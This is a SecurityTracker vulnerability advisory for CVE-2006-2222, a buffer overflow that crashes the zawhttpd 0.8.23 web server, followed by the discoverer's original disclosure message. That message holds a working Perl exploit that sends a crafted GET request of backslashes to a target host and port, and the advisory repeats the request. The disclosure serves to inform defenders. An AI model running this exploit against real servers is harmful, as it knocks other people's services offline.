SecurityTracker.com
Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 
Sign Up
Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Instant Alerts
Buy our Premium Vulnerability Notification Service to receive customized, instant alerts
Affiliates
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Partners
Become a Partner and License Our Database or Notification Service
Report a Bug
Report a vulnerability that you have found to SecurityTracker
bugs
@
securitytracker.com






Category:   Application (Web Server/CGI)  >   zawhttpd Vendors:   norz.org
zawhttpd Can Be Crashed By Remote Users
SecurityTracker Alert ID:  1016030
SecurityTracker URL:  http://securitytracker.com/id/1016030
CVE Reference:   CVE-2006-2222   (Links to External Site)
Updated:  Dec 4 2009
Original Entry Date:  May 4 2006
Impact:   Denial of service via network
Exploit Included:  Yes  
Version(s): 0.8.23; possibly earlier versions
Description:   A vulnerability was reported in zawhttpd. A remote user can cause denial of service conditions.

A remote user can send specially crafted data to cause the target service to crash.

A demonstration exploit request is provided:

GET \\\\\\\\\\\\\\\\\\\\ HTTP/1.0

Kamil 'K3' Sienicki discovered this vulnerability.

Impact:   A remote user can cause denial of service conditions.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.norz.org/zawhttpd.html (Links to External Site)
Cause:   Boundary error
Underlying OS:   Linux (Any), UNIX (Any)

Message History:   None.


 Source Message Contents

Date:  Wed, 03 May 2006 00:40:13 +0200
Subject:  zawhttpd - Buffer Overflow

Name: zawhttpd 
Version: 0.8.23 previous version probably too.
Language: C
Problem: Buffer Overflow
Vendor: http://www.norz.org/zawhttpd.html
Discovered by: Kamil 'K3' Sienicki

Description:
zawhttpd is a mini Web server that features HTTP/1.0 and 1.1 support, 
keep-alive persistent connections, IPv6 support, GET and HEAD requests,
chunked encoding and content-range, directory listing, basic
authentication,
access logging, daemon mode, and more.

Problem:
A remote user can supply a specially crafted data which crash server.

Exploit:
#!/usr/bin/perl
# zawhttpd Buffer Overflow Exploit 
#               by Kamil 'K3' Sienicki

use IO::Socket;
use strict;

my($socket) = "";

if($socket = IO::Socket::INET->new(
                PeerAddr => $ARGV[0],
                PeerPort => $ARGV[1],
                Proto => "TCP"))
{
        print "Attempting to kill zawhttpd at $ARGV[0]:$ARGV[1] ...";   
        print $socket "GET \\\\\\\\\\\\\\\\\\\\ HTTP/1.0\r\n\r\n";
        close($socket);
}
else
{
        print "perl zawhttpd.pl localhost 80 \n";
        print "Cannot connect to $ARGV[0]:$ARGV[1]\n";
}

--
Kamil 'K3' Sienicki

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

Copyright 2014, SecurityGlobal.net LLC